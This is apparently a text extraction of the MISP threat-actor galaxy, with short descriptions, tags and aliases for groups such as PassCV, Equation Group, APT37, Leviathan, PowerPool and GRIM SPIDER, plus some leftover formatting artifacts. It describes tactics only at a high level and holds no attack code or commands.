The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates. Snorre Fagerland of Blue Coat Systems first coined the term PassCV in a blog post. His post provides a good introduction to the group and covers some of the older infrastructure, stolen code-signing certificate reuse, and other connections associated with the PassCV malware. There are several clues alluding to the possibility that multiple
groups may be utilizing the same stolen signing certificates, but at this time SPEAR believes the current attacks are more likely being perpetrated by a single group employing multiple publicly available Remote Administration Tools (RATs). The PassCV group has been operating with continued success and has already started to expand their malware repertoire into different off-the-shelf RATs and custom code. SPEAR identified eighteen previously undisclosed stolen Authenticode certificates. These certificates were originally issued to companies and individuals scattered across China, Taiwan, Korea, Europe, the United States and Russia. In this post we expand the usage of the term ‘PassCV’ to encompass the malware mentioned in the Blue Coat Systems report, as well as the APT group behind the larger C2 infrastructure and stolen Authenticode certificates. We’d like to share some of our findings as they pertain to the stolen certificates, command and control infrastructure, and some of the newer custom RATs they’ve begun development on.

Sath-ı Müdafaa

A Turkish hacking group, Sath-ı Müdafaa, is encouraging individuals to join its DDoS-for-Points platform that features points and prizes for carrying out distributed denial-of-service (DDoS) attacks against a list of predetermined targets. Their DDoS tool also contains a backdoor to hack the hackers. So the overarching motivation and allegiance of the group is not entirely clear.

The tag is: misp-galaxy:threat-actor="Sath-ı Müdafaa"

Aslan Neferler Tim

Turkish nationalist hacktivist group that has been active for roughly one year. According to Domaintools, the group’s site has been registered since December 2015, with an active Twitter account since January 2016. The group carries out distributed denial-of-service (DDoS) attacks and defacements against the sites of news organizations and governments perceived to be critical of Turkey’s policies or leadership, and purports to act in defense of Islam

The tag is: misp-galaxy:threat-actor="Aslan Neferler Tim"

Aslan Neferler Tim is also known as:

- Lion Soldiers Team
- Phantom Turk

Ayyıldız Tim

Ayyıldız (Crescent and Star) Tim is a nationalist hacking group founded in 2002. It performs
defacements and DDoS attacks against the websites of governments that it considers to be repressing Muslim minorities or engaged in Islamophobic policies.

The tag is: `misp-galaxy:threat-actor="Ayyıldız Tim"`

Ayyıldız Tim is also known as:

- Crescent and Star

**TurkHackTeam**

Founded in 2004, Turkhackteam is one of Turkey’s oldest and most high-profile hacking collectives. According to a list compiled on Turkhackteam’s forum, the group has carried out almost 30 highly publicized hacking campaigns targeting foreign government and commercial websites, including websites of international corporations.

The tag is: `misp-galaxy:threat-actor="TurkHackTeam"`

TurkHackTeam is also known as:

- Turk Hack Team

**Equation Group**

The Equation Group is a highly sophisticated threat actor described by its discoverers at Kaspersky Labs as one of the most sophisticated cyber attack groups in the world, operating alongside but always from a position of superiority with the creators of Stuxnet and Flame

The tag is: `misp-galaxy:threat-actor="Equation Group"`

Equation Group is also known as:

- Tilded Team
- Lamberts
- EQGRP
- Longhorn
- PLATINUM TERMINAL

Equation Group has relationships with:

Gamaredon Group

Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware. We have labelled this threat group the Gamaredon Group and our research shows that the Gamaredon Group has been active since at least 2013. In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities.

The tag is: `misp-galaxy:threat-actor="Gamaredon Group"

Gamaredon Group is also known as:

- Primitive Bear
Gamaredon Group has relationships with:

**Infy**

Infy is a group of suspected Iranian origin. Since early 2013, we have observed activity from a unique threat actor group, which we began to investigate based on increased activities against human right activists in the beginning of 2015. In line with other research on the campaign, released prior to publication of this document, we have adopted the name “Infy”, which is based on labels used in the infrastructure and its two families of malware agents. Thanks to information we have been able to collect during the course of our research, such as characteristics of the group’s malware and development cycle, our research strongly supports the claim that the Infy group is of Iranian origin and potentially connected to the Iranian state. Amongst a backdrop of other incidents, Infy became one of the most frequently observed agents for attempted malware attacks against Iranian civil society beginning in late 2014, growing in use up to the February 2016 parliamentary election in Iran. After the conclusion of the parliamentary election, the rate of
attempted intrusions and new compromises through the Infy agent slowed, but did not end. The trends witnessed in reports from recipients are reinforced through telemetry provided by design failures in more recent versions of the Infy malware.

The tag is: misp-galaxy:threat-actor="Infy"

Infy is also known as:

- Operation Mermaid
- Prince of Persia

Sima

Sima is a group of suspected Iranian origin targeting Iranians in diaspora. In February 2016, Iran-focused individuals received messages purporting to be from Human Rights Watch's (HRW) Emergencies Director, requesting that they read an article about Iran pressuring Afghan refugees to fight in Syria. While referencing a real report published by HRW, the links provided for the Director's biography and article directed the recipient to malware hosted elsewhere. These spear-phishing attempts represent an evolution of Iranian actors based on their social engineering tactics and narrow targeting. Although the messages still had minor grammatical and stylistic errors that would be obvious to a native speaker, the actors demonstrated stronger English-language proficiency than past intrusion sets and a deeper investment in background research prior to the attempt. The actors appropriated a real identity that would be expected to professionally interact with the subject, then offered validation through links to their biography and social media, the former of which itself was malware as well. The bait documents contained a real article relevant to their interests and topic referenced, and the message attempted to address how it aligned with their professional research or field of employment. The referenced documents sent were malware binaries posing as legitimate files using the common right-to-left filenames tactic in order to conceal the actual file extension. All of these techniques, while common pretexting mechanisms, are a refinement compared to a tendency amongst other groups to simply continually send different forms of generic malware or phishing, in the hopes that one would eventually be successful.

**Longhorn**

Longhorn has been active since at least 2011. It has used a range of back door Trojans in addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. All of the organizations targeted would be of interest to a nation-state attacker. Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa. On one occasion a computer in the United States was compromised but, following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally. According to
cfr, this threat actor compromises governments, international organizations, academic institutions, and financial, telecommunications, energy, aerospace, information technology, and natural resource industries for espionage purposes. Some of the tools used by this threat actor were released by Wikileaks under the name "Vault 7."

The tag is: misp-galaxy:threat-actor="Longhorn"

Longhorn is also known as:

- Lamberts

SilverTerrier

As these tools rise and fall in popularity (and more importantly, as detection rates by antivirus vendors improve), SilverTerrier actors have consistently adopted new malware families and shifted to the latest packing tools available.

The tag is: `misp-galaxy:threat-actor="SilverTerrier"`

WildNeutron

A corporate espionage group has compromised a string of major corporations over the past three years in order to steal confidential information and intellectual property. The gang, which Symantec calls Butterfly, is not-state sponsored, rather financially motivated. It has attacked multi-billion dollar companies operating in the internet, IT software, pharmaceutical, and commodities sectors. Twitter, Facebook, Apple, and Microsoft are among the companies who have publicly acknowledged attacks. Butterfly is technically proficient and well resourced. The group has developed a suite of custom malware tools capable of attacking both Windows and Apple computers, and appears to have used at least one zero-day vulnerability in its attacks. It keeps a low profile and maintains good operational security. After successfully compromising a target organization, it cleans up after itself before moving on to its next target. This group operates at a much higher level than the average cybercrime gang. It is not interested in stealing credit card details or customer databases and is instead focused on high-level corporate information. Butterfly may be selling this information to the highest bidder or may be operating as hackers for hire. Stolen information could also be used for insider-trading purposes.

The tag is: `misp-galaxy:threat-actor="WildNeutron"`

WildNeutron is also known as:

- Butterfly
- Morpho
- Sphinx Moth

PLATINUM

PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group’s persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.

The tag is: `misp-galaxy:threat-actor="PLATINUM"`

PLATINUM is also known as:

• TwoForOne

**RASPITE**

Dragos has identified a new activity group targeting access operations in the electric utility sector. We call this activity group RASPITE. Analysis of RASPITE tactics, techniques, and procedures (TTPs) indicate the group has been active in some form since early- to mid-2017. RASPITE targeting includes entities in the US, Middle East, Europe, and East Asia. Operations against electric utility organizations appear limited to the US at this time. RASPITE leverages strategic website compromise to gain initial access to target networks. RASPITE uses the same methodology as DYMALLOY and ALLANITE in embedding a link to a resource to prompt an SMB connection, from which it harvests Windows credentials. The group then deploys install scripts for a malicious service to beacon back to RASPITE-controlled infrastructure, allowing the adversary to remotely access the victim machine.

The tag is: misp-galaxy:threat-actor="RASPITE"

RASPITE is also known as:

- LeafMiner
- Raspite

**APT5**

We have observed one APT group, which we call APT5, particularly focused on telecommunications and technology companies. More than half of the organizations we have observed being targeted or breached by APT5 operate in these sectors. Several times, APT5 has targeted organizations and personnel based in Southeast Asia. APT5 has been active since at least 2007. It appears to be a large threat group that consists of several subgroups, often with distinct tactics and infrastructure. APT5 has targeted or breached organizations across multiple industries, but its focus appears to be on telecommunications and technology companies, especially information about satellite communications. APT5 targeted the network of an electronics firm that sells products for both industrial and military applications. The group subsequently stole communications related to the firm's business relationship with a national military, including inventories and memoranda about specific products they provided. In one case in late 2014, APT5 breached the network of an international telecommunications company. The group used malware with keylogging capabilities to monitor the computer of an executive who manages the company's relationships with other telecommunications companies.

The tag is: *misp-galaxy:threat-actor="APT5"*

APT5 is also known as:

**Madi**

Kaspersky Lab and Seculert worked together to sinkhole the Madi Command & Control (C&C) servers to monitor the campaign. Kaspersky Lab and Seculert identified more than 800 victims located in Iran, Israel and select countries across the globe connecting to the C&Cs over the past eight months. Statistics from the sinkhole revealed that the victims were primarily business people working on Iranian and Israeli critical infrastructure projects, Israeli financial institutions, Middle Eastern engineering students, and various government agencies communicating in the Middle East. Common applications and websites that were spied on include accounts on Gmail, Hotmail, Yahoo! Mail, ICQ, Skype, Google+, and Facebook. Surveillance is also performed over integrated ERP/CRM systems, business contracts, and financial management systems.

Snake Wine

While investigating some of the smaller name servers that APT28/Sofacy routinely use to host their infrastructure, Cylance discovered another prolonged campaign that appeared to exclusively target Japanese companies and individuals that began around August 2016. The later registration style was eerily close to previously registered APT28 domains, however, the malware used in the attacks did not seem to line up at all. During the course of our investigation, JPCERT published this analysis of one of the group's backdoors. Cylance tracks this threat group internally as ‘Snake Wine’. The Snake Wine group has proven to be highly adaptable and has continued to adopt new tactics in order to establish footholds inside victim environments. The exclusive interest in Japanese government, education, and commerce will likely continue into the future as the group is just starting to build and utilize their existing current attack infrastructure.

Careto

This threat actor targets governments, diplomatic missions, private companies in the energy sector, and academics for espionage purposes. The Mask is an advanced threat actor that has been involved in cyber-espionage operations since at least 2007. The name "Mask" comes from the Spanish slang word "Careto" ("Ugly Face" or "Mask") which the authors included in some of the malware modules. More than 380 unique victims in 31 countries have been observed to date. What makes “The Mask” special is the complexity of the toolset used by the attackers. This includes an extremely sophisticated malware, a rootkit, a bootkit, 32-and 64-bit Windows versions, Mac OS X and Linux versions and possibly versions for Android and iPad/iPhone (Apple iOS).

**Group 27**

Arbor’s ASERT team is now reporting that, after looking deeper at that particular campaign, and by exposing a new trail in the group’s activities, they managed to identify a new RAT that was undetectable at that time by most antivirus vendors. Named Trochilus, this new RAT was part of Group 27’s malware portfolio that included six other malware strains, all served together or in different combinations, based on the data that needed to be stolen from each victim. This collection of malware, dubbed the Seven Pointed Dagger by ASERT experts, included two different PlugX versions, two different Trochilus RAT versions, one version of the 3012 variant of the 9002 RAT, one EvilGrab RAT version, and one unknown piece of malware, which the team has not entirely decloaked just yet.

APT 6

The FBI issued a rare bulletin admitting that a group named Advanced Persistent Threat 6 (APT6) hacked into US government computer systems as far back as 2011 and for years stole sensitive data. The FBI alert was issued in February and went largely unnoticed. Nearly a month later, security experts are now shining a bright light on the alert and the mysterious group behind the attack. “This is a rare alert and a little late, but one that is welcomed by all security vendors as it offers a chance to mitigate their customers and also collaborate further in what appears to be an ongoing FBI investigation,” said Deepen Desai, director of security research at the security firm Zscaler in an email to Threatpost. Details regarding the actual attack and what government systems were infected are scant. Government officials said they knew the initial attack occurred in 2011, but are unaware of who specifically is behind the attacks. “Given the nature of malware payload involved and the duration of this compromise being unnoticed – the scope of lateral movement inside the compromised network is very high possibly exposing all the critical systems,” Deepen said.

White Bear

As a part of our Kaspersky APT Intelligence Reporting subscription, customers received an update in mid-February 2017 on some interesting APT activity that we called WhiteBear. Much of the contents of that report are reproduced here. WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report “Skipper Turla – the White Atlas framework” from mid-2016. Like previous Turla activity, WhiteBear leverages compromised websites and hijacked satellite connections for command and control (C2) infrastructure. As a matter of fact, WhiteBear infrastructure has overlap with other Turla campaigns, like those deploying Kopiluwak, as documented in “KopiLuwak – A New JavaScript Payload from Turla” in December 2016. WhiteBear infected systems maintained a dropper (which was typically signed) as well as a complex malicious platform which was always preceded by WhiteAtlas module deployment attempts. However, despite the similarities to previous Turla campaigns, we believe that WhiteBear is a distinct project with a separate focus. We note that this observation of delineated target focus, tooling, and project context is an interesting one that also can be repeated across broadly labeled Turla and Sofacy activity. From February to September 2016, WhiteBear activity was narrowly focused on embassies and consular operations around the world. All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations. Continued WhiteBear activity later shifted to include defense-related organizations into June 2017. When compared to WhiteAtlas infections, WhiteBear deployments are relatively rare and represent a departure from the broader Skipper Turla target set. Additionally, a comparison of the WhiteAtlas framework to WhiteBear components indicates that the malware is the product of separate development efforts. WhiteBear infections appear to be preceded by a condensed spearphishing dropper, lack Firefox extension installer payloads, and contain several new components signed with a new code signing digital certificate, unlike WhiteAtlas incidents and modules.

The tag is: **misp-galaxy:threat-actor="White Bear"**

White Bear is also known as:

- Skipper Turla

MoneyTaker

In less than two years, this group has conducted over 20 successful attacks on financial institutions and legal firms in the USA, UK and Russia. The group has primarily been targeting card processing systems, including the AWS CBR (Russian Interbank System) and purportedly SWIFT (US). Given the wide usage of STAR in LATAM, financial institutions in LATAM could have particular exposure to a potential interest from the MoneyTaker group.

The tag is: misp-galaxy:threat-actor="MoneyTaker"

### Microcin

We’re already used to the fact that complex cyberattacks use 0-day vulnerabilities, bypassing digital signature checks, virtual file systems, non-standard encryption algorithms and other tricks. Sometimes, however, all of this may be done in much simpler ways, as was the case in the malicious campaign that we detected a while ago – we named it ‘Microcin’ after microini, one of the malicious components used in it.

The tag is: `misp-galaxy:threat-actor="Microcin"`

Microcin is also known as:

- SixLittleMonkeys

### Dark Caracal

Lookout and Electronic Frontier Foundation (EFF) have discovered Dark Caracal, a persistent and prolific actor, who at the time of writing is believed to be administered out of a building belonging to the Lebanese General Security Directorate in Beirut. At present, we have knowledge of hundreds of gigabytes of exfiltrated data, in 21+ countries, across thousands of victims. Stolen data includes enterprise intellectual property and personally identifiable information.

The tag is: `misp-galaxy:threat-actor="Dark Caracal"`

**APT37**

APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea. In 2017, APT37 expanded its targeting beyond the Korean peninsula to include Japan, Vietnam and the Middle East, and to a wider range of industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive and healthcare entities.

The tag is: *misp-galaxy:threat-actor="APT37"*

APT37 is also known as:

- APT 37
- Group 123
- Group123
- Starcruft
- Reaper
- Reaper Group
- Red Eyes
- Ricochet Chollima
- StarCruft
- Operation Daybreak
- Operation Erebus
- Venus 121

APT37 has relationships with:

- similar: *misp-galaxy:mitre-intrusion-set="APT37 - G0067" with estimative-language:likelihood-probability="likely"*
Leviathan

Leviathan is an espionage actor targeting organizations and high-value targets in defense and government. Active since at least 2014, this actor has long-standing interest in maritime industries, naval defense contractors, and associated research institutions in the United States and Western Europe.

The tag is: misp-galaxy:threat-actor="Leviathan"

Leviathan is also known as:

- TEMP.Periscope
- TEMP.Jumper
- APT 40
- APT40
- BRONZE MOHAWK
- GADOLINIUM
- Kryptonite Panda

Leviathan has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Leviathan - G0065" with estimative-language:likelihood-probability="likely"
Since at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran. The group conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications and other industries. Repeated targeting of Middle Eastern financial, energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34. The use of infrastructure tied to Iranian operations, timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government.

The tag is: *misp-galaxy:threat-actor="APT34"

APT34 is also known as:

- APT 34

APT34 has relationships with:

- similar: *misp-galaxy:mitre-intrusion-set="APT34 - G0057" with estimative-language:likelihood-
APT35

FireEye has identified APT35 operations dating back to 2014. APT35, also known as the Newscaster Team, is a threat group sponsored by the Iranian government that conducts long term, resource-intensive operations to collect strategic intelligence. APT35 typically targets U.S. and the Middle Eastern military, diplomatic and government personnel, organizations in the media, energy and defense industrial base (DIB), and engineering, business services and telecommunications sectors.

The tag is: `misp-galaxy:threat-actor="APT35"`

APT35 is also known as:

- APT 35
- Newscaster Team

Orangeworm

Symantec has identified a previously unknown group called Orangeworm that has been observed installing a custom backdoor called Trojan.Kwampirs within large international corporations that operate within the healthcare sector in the United States, Europe, and Asia. First identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims. Known victims include healthcare providers, pharmaceuticals, IT solution providers for healthcare and equipment manufacturers that serve the healthcare industry, likely for the purpose of corporate espionage.

The tag is: `misp-galaxy:threat-actor="Orangeworm"`
ALLANITE

Adversaries abusing ICS (based on Dragos Inc adversary list). ALLANITE accesses business and industrial control (ICS) networks, conducts reconnaissance, and gathers intelligence in United States and United Kingdom electric utility sectors. Dragos assesses with moderate confidence that ALLANITE operators continue to maintain ICS network access to: (1) understand the operational environment necessary to develop disruptive capabilities, (2) have ready access from which to disrupt electric utilities. ALLANITE uses email phishing campaigns and compromised websites called watering holes to steal credentials and gain access to target networks, including collecting and distributing screenshots of industrial control systems. ALLANITE operations limit themselves to information gathering and have not demonstrated any disruptive or damaging capabilities. ALLANITE conducts malware-less operations primarily leveraging legitimate and available tools in the Windows operating system.

The tag is: misp-galaxy:threat-actor="ALLANITE"

ALLANITE is also known as:

- Palmetto Fusion
- Allanite

Subaat

In mid-July, Palo Alto Networks Unit 42 identified a small targeted phishing campaign aimed at a government organization. While tracking the activities of this campaign, we identified a repository of additional malware, including a web server that was used to host the payloads used for both this attack as well as others.

The tag is: misp-galaxy:threat-actor="Subaat"
The Gorgon Group

Unit 42 researchers have been tracking Subaat, an attacker, since 2017. Recently Subaat drew our attention due to renewed targeted attack activity. Part of monitoring Subaat included realizing the actor was possibly part of a larger crew of individuals responsible for carrying out targeted attacks against worldwide governmental organizations. Technical analysis on some of the attacks as well as attribution links with Pakistan actors have been already depicted by 360 and Tuisec, in which they found interesting connections to a larger group of attackers Unit 42 researchers have been tracking, which we are calling Gorgon Group.

The tag is: `misp-galaxy:threat-actor="The Gorgon Group"`

The Gorgon Group is also known as:

- Gorgon Group
- Subaat

DarkHydrus

In July 2018, Unit 42 analyzed a targeted attack using a novel file type against at least one government agency in the Middle East. It was carried out by a previously unpublished threat group we track as DarkHydrus. Based on our telemetry, we were able to uncover additional artifacts leading us to believe this adversary group has been in operation with their current playbook since early 2016. This attack diverged from previous attacks we observed from this group as it involved spear-phishing emails sent to targeted organizations with password protected RAR archive attachments that contained malicious Excel Web Query files (.iqy).

The tag is: `misp-galaxy:threat-actor="DarkHydrus"`

DarkHydrus is also known as:

- LazyMeerkat
RedAlpha

Recorded Future's Insikt Group has identified two new cyberespionage campaigns targeting the Tibetan Community over the past two years. The campaigns, which we are collectively naming RedAlpha, combine light reconnaissance, selective targeting, and diverse malicious tooling. We discovered this activity as the result of pivoting off of a new malware sample observed targeting the Tibetan community based in India.

The tag is: *misp-galaxy:threat-actor="RedAlpha"*

### APT-C-35

In March 2017, the 360 Chasing Team found a sample of targeted attacks that confirmed the previously unknown sample of APT's attack actions, which the organization can now trace back at least in April 2016. The chasing team named the attack organization APT-C-35. In June 2017, the 360 Threat Intelligence Center discovered the organization's new attack activity, confirmed and exposed the gang's targeted attacks against Pakistan, and analyzed in detail. The unique EHDevel malicious code framework used by the organization

The tag is: *misp-galaxy:threat-actor="APT-C-35"*

APT-C-35 is also known as:

- DoNot Team
- Donot Team
- APT-C-35

### Table 5053. Table References
TempTick

This threat actor targets organizations in the finance, defense, aerospace, technology, health-care, and automotive sectors and media organizations in East Asia for the purpose of espionage. Believed to be responsible for the targeting of South Korean actors prior to the meeting of Donald J. Trump and Kim Jong-un

The tag is: misp-galaxy:threat-actor="TempTick"

Operation Parliament

This threat actor uses spear-phishing techniques to target parliaments, government ministries, academics, and media organizations, primarily in the Middle East, for the purpose of espionage. Based on our findings, we believe the attackers represent a previously unknown geopolitically motivated threat actor. The campaign started in 2017, with the attackers doing just enough to achieve their goals. They most likely have access to additional tools when needed and appear to have access to an elaborate database of contacts in sensitive organizations and personnel worldwide, especially of vulnerable and non-trained staff. The victim systems range from personal desktop or laptop systems to large servers with domain controller roles or similar. The nature of the targeted ministries varied, including those responsible for telecommunications, health, energy, justice, finance and so on. Operation Parliament appears to be another symptom of escalating tensions in the Middle East region. The attackers have taken great care to stay under the radar, imitating another attack group in the region. They have been particularly careful to verify victim devices before proceeding with the infection, safeguarding their command and control servers. The targeting seems to have slowed down since the beginning of 2018, probably winding down when the desired data or access was obtained. The targeting of specific victims is unlike previously seen behavior in regional campaigns by Gaza Cybergang or Desert Falcons and points to an elaborate information-gathering exercise that was carried out before the attacks (physical and/or digital). With deception and false flags increasingly being employed by threat actors, attribution is a hard and complicated task that requires solid evidence, especially in complex regions such as the Middle East.

The tag is: misp-galaxy:threat-actor="Operation Parliament"
Inception Framework

This threat actor uses spear-phishing techniques to target private-sector energy, defense, aerospace, research, and media organizations and embassies in Africa, Europe, and the Middle East, for the purpose of espionage.

The tag is: `misp-galaxy:threat-actor="Inception Framework"`

Winnti Umbrella

This threat actor targets software companies and political organizations in the United States, China, Japan, and South Korea. It primarily acts to support cyber operations conducted by other threat actors affiliated with Chinese intelligence services. Believed to be associated with the Axiom, APT 17, and Mirage threat actors. Believed to share the same tools and infrastructure as the threat actors that carried out Operation Aurora, the 2015 targeting of video game companies, the 2015 targeting of the Thai government, and the 2017 targeting of Chinese-language news websites.

The tag is: `misp-galaxy:threat-actor="Winnti Umbrella"`
HenBox

This threat actor targets Uighurs—a minority ethnic group located primarily in northwestern China—and devices from Chinese mobile phone manufacturer Xiaomi, for espionage purposes.

The tag is: misp-galaxy:threat-actor="HenBox"

Table 5058. Table References

Links
https://www.cfr.org/interactive/cyber-operations/henbox

Mustang Panda

This threat actor targets nongovernmental organizations using Mongolian-themed lures for espionage purposes. In April 2017, CrowdStrike Falcon Intelligence observed a previously unattributed actor group with a Chinese nexus targeting a U.S.-based think tank. Further analysis revealed a wider campaign with unique tactics, techniques, and procedures (TTPs). This adversary targets non-governmental organizations (NGOs) in general, but uses Mongolian language decoys and themes, suggesting this actor has a specific focus on gathering intelligence on Mongolia. These campaigns involve the use of shared malware like Poison Ivy or PlugX. Recently, Falcon Intelligence observed new activity from MUSTANG PANDA, using a unique infection chain to target likely Mongolia-based victims. This newly observed activity uses a series of redirections and fileless, malicious implementations of legitimate tools to gain access to the targeted systems. Additionally, MUSTANG PANDA actors reused previously-observed legitimate domains to host files.

The tag is: misp-galaxy:threat-actor="Mustang Panda"

Mustang Panda is also known as:

- BRONZE PRESIDENT
- HoneyMyte
- Red Lich

PowerPool

Malware developers have started to use the zero-day exploit for Task Scheduler component in Windows, two days after proof-of-concept code for the vulnerability appeared online.

A security researcher who uses the online name SandboxEscaper on August 27 released the source code for exploiting a security bug in the Advanced Local Procedure Call (ALPC) interface used by Windows Task Scheduler.

More specifically, the problem is with the SchRpcSetSecurity API function, which fails to properly check user’s permissions, allowing write privileges on files in C:\Windows\Task.

The vulnerability affects Windows versions 7 through 10 and can be used by an attacker to escalate their privileges to all-access SYSTEM account level.

A couple of days after the exploit code became available (source and binary), malware researchers
at ESET noticed its use in active malicious campaigns from a threat actor they call PowerPool, because of their tendency to use tools mostly written in PowerShell for lateral movement.

The group appears to have a small number of victims in the following countries: Chile, Germany, India, the Philippines, Poland, Russia, the United Kingdom, the United States, and Ukraine.

The researchers say that PowerPool developers did not use the binary version of the exploit, deciding instead to make some subtle changes to the source code before recompiling it.

The tag is: \textit{misp-galaxy:threat-actor="PowerPool"}

PowerPool is also known as:

- IAmTheKing

FASTCash

Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.

The tag is: *misp-galaxy:threat-actor="FASTCash"*

Roaming Mantis

According to new research by Kaspersky’s GReAT team, the online criminal activities of the Roaming Mantis Group have continued to evolve since they were first discovered in April 2018. As part of their activities, this group hacks into exploitable routers and changes their DNS configuration. This allows the attackers to redirect the router user's traffic to malicious Android apps disguised as Facebook and Chrome or to Apple phishing pages that were used to steal Apple ID credentials. Recently, Kaspersky has discovered that this group is testing a new monetization scheme by redirecting iOS users to pages that contain the Coinhive in-browser mining script rather than the normal Apple phishing page. When users are redirected to these pages, they will be shown a blank page in the browser, but their CPU utilization will jump to 90% or higher.

The tag is: *misp-galaxy:threat-actor="Roaming Mantis"*

Roaming Mantis is also known as:

- Roaming Mantis Group

INDRIK SPIDER

INDRIK SPIDER is a sophisticated eCrime group that has been operating Dridex since June 2014. In 2015 and 2016, Dridex was one of the most prolific eCrime banking trojans on the market and, since
2014, those efforts are thought to have netted INDRIK SPIDER millions of dollars in criminal profits. Throughout its years of operation, Dridex has received multiple updates with new modules developed and new anti-analysis features added to the malware. In August 2017, a new ransomware variant identified as BitPaymer was reported to have ransomed the U.K.’s National Health Service (NHS), with a high ransom demand of 53 BTC (approximately $200,000 USD). The targeting of an organization rather than individuals, and the high ransom demands, made BitPaymer stand out from other contemporary ransomware at the time. Though the encryption and ransom functionality of BitPaymer was not technically sophisticated, the malware contained multiple anti-analysis features that overlapped with Dridex. Later technical analysis of BitPaymer indicated that it had been developed by INDRIK SPIDER, suggesting the group had expanded its criminal operation to include ransomware as a monetization strategy.

DNSpionage

Cisco Talos recently discovered a new campaign targeting Lebanon and the United Arab Emirates (UAE) affecting .gov domains, as well as a private Lebanese airline company. Based on our research, it’s clear that this adversary spent time understanding the victims' network infrastructure in order to remain under the radar and act as inconspicuous as possible during their attacks. Based on this actor’s infrastructure and TTPs, we haven’t been able to connect them with any other campaign or actor that’s been observed recently. This particular campaign utilizes two fake, malicious websites containing job postings that are used to compromise targets via malicious Microsoft Office documents with embedded macros. The malware utilized by this actor, which we are calling "DNSpionage," supports HTTP and DNS communication with the attackers. In a separate campaign, the attackers used the same IP to redirect the DNS of legitimate .gov and private company domains. During each DNS compromise, the actor carefully generated Let’s Encrypt certificates for the redirected domains. These certificates provide X.509 certificates for TLS free of charge to the user. We don’t know at this time if the DNS redirections were successful. In this post, we will break down the attackers’ methods and show how they used malicious documents to attempt to trick users into opening malicious websites that are disguised as "help wanted" sites for job seekers. Additionally, we will describe the malicious DNS redirection and the timeline of the events.

DarkVishnya

Dubbed DarkVishnya, the attacks targeted at least eight banks using readily-available gear such as netbooks or inexpensive laptops, Raspberry Pi mini-computers, or a Bash Bunny - a USB-sized piece of hardware for penetration testing purposes that can pose as a keyboard, flash storage, network adapter, or as any serial device.

The tag is: `misp-galaxy:threat-actor="DarkVishnya"`

Operation Poison Needles

What’s noteworthy is that according to the introduction on the compromised website of the polyclinic (http://www.p2f.ru), the institution was established in 1965 and it was founded by the Presidential Administration of Russia. The multidisciplinary outpatient institution mainly serves the civil servants of the highest executive, legislative, judicial authorities of the Russian Federation, as well as famous figures of science and art. Since it is the first detection of this APT attack by 360 Security on a global scale, we code-named it as “Operation Poison Needles”, considering that the target was a medical institution. Currently, the attribution of the attacker is still under investigation. However, the special background of the polyclinic and the sensitiveness of the group it served both indicate the attack is highly targeted. Simultaneously, the attack occurred at a very sensitive timing of the Kerch Strait Incident, so it also aroused the assumption on the political attribution of the attack.

The tag is: `misp-galaxy:threat-actor="Operation Poison Needles"`

**Operation Sharpshooter**

The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have
discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant—which we call Rising Sun—for further exploitation. According to our analysis, the Rising Sun implant uses source code from the Lazarus Group's 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries. Operation Sharpshooter's numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags. Our research focuses on how this actor operates, the global impact, and how to detect the attack. We shall leave attribution to the broader security community.

GRIM SPIDER

GRIM SPIDER is a sophisticated eCrime group that has been operating the Ryuk ransomware since August 2018, targeting large organizations for a high-ransom return. This methodology, known as “big game hunting,” signals a shift in operations for WIZARD SPIDER, a criminal enterprise of which GRIM SPIDER appears to be a cell. The WIZARD SPIDER threat group, known as the Russia-based operator of the TrickBot banking malware, had focused primarily on wire fraud in the past. Similar to Samas and BitPaymer, Ryuk is specifically used to target enterprise environments. Code comparison between versions of Ryuk and Hermes ransomware indicates that Ryuk was derived from the Hermes source code and has been under steady development since its release. Hermes is commodity ransomware that has been observed for sale on forums and used by multiple threat actors. However, Ryuk is only used by GRIM SPIDER and, unlike Hermes, Ryuk has only been used to target enterprise environments. Since Ryuk’s appearance in August, the threat actors operating it have netted over 705.80 BTC across 52 transactions for a total current value of $3,701,893.98 USD. Grim Spider is reportedly associated with Lunar Spider and Wizard Spider.

The tag is: misp-galaxy:threat-actor="GRIM SPIDER"

GRIM SPIDER is also known as:

